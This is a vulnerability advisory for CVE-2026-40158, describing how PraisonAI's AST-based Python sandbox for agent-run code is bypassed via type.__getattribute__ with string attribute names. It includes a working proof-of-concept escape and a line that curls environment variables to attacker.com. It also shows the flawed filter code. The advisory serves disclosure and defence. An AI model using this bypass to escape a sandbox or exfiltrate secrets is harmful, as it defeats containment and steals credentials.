Browse / Tool and Agent Misuse / CVE-2026-40158
PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure
- Class
- Tool and Agent Misuse (filed by a model that read the advisory)
- Technique
- Sandbox escape
- Affected
- praisonai (PyPI)
- Gets past
- Sandbox or allowlist
- CVSS
- CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
- EPSS
- 0.2% chance of exploitation in 30 days
How it works, in short
Calling type.__getattribute__ with string attribute names evades the AST filter that blocks dangerous dunder attributes, letting agent-run code escape the sandbox. (Our summary, written by a model. The source text is below.)
Details
PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.
Description
The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:
The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions.
type.__getattribute__(obj, '__subclasses__') # Bypasses filter
The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.
Proof of Concept
# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)
# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]
# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()
# Find _wrap_close class
for c in all_subclasses:
if t.__getattribute__(c, '__name__') == '_wrap_close':
# Get __init__.__globals__ via bypass
init = t.__getattribute__(c, '__init__')
glb = type(init).__getattribute__(init, '__globals__')
# Get system function and execute
system = glb['system']
system('curl https://attacker.com/steal --data "$(env | base64)"')
---
Impact
This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.
An attacker can:
- Access sensitive data such as environment variables, API keys, and local files
- Execute arbitrary system commands
- Modify or delete files on the system
In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.
---
Affected Code
# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
tree = ast.parse(code)
for node in ast.walk(tree):
# Only checks ast.Attribute nodes
if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
raise SecurityError(...)
# Bypass: string arguments are not checked
exec(compiled, safe_globals)
Reporter: Lakshmikanthan K (letchupkt)
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-3c4r-6p77-xwr7
- https://nvd.nist.gov/vuln/detail/CVE-2026-40158
- https://github.com/MervinPraison/PraisonAI
- https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128
Source: GitHub Advisory Database, used under CC BY 4.0.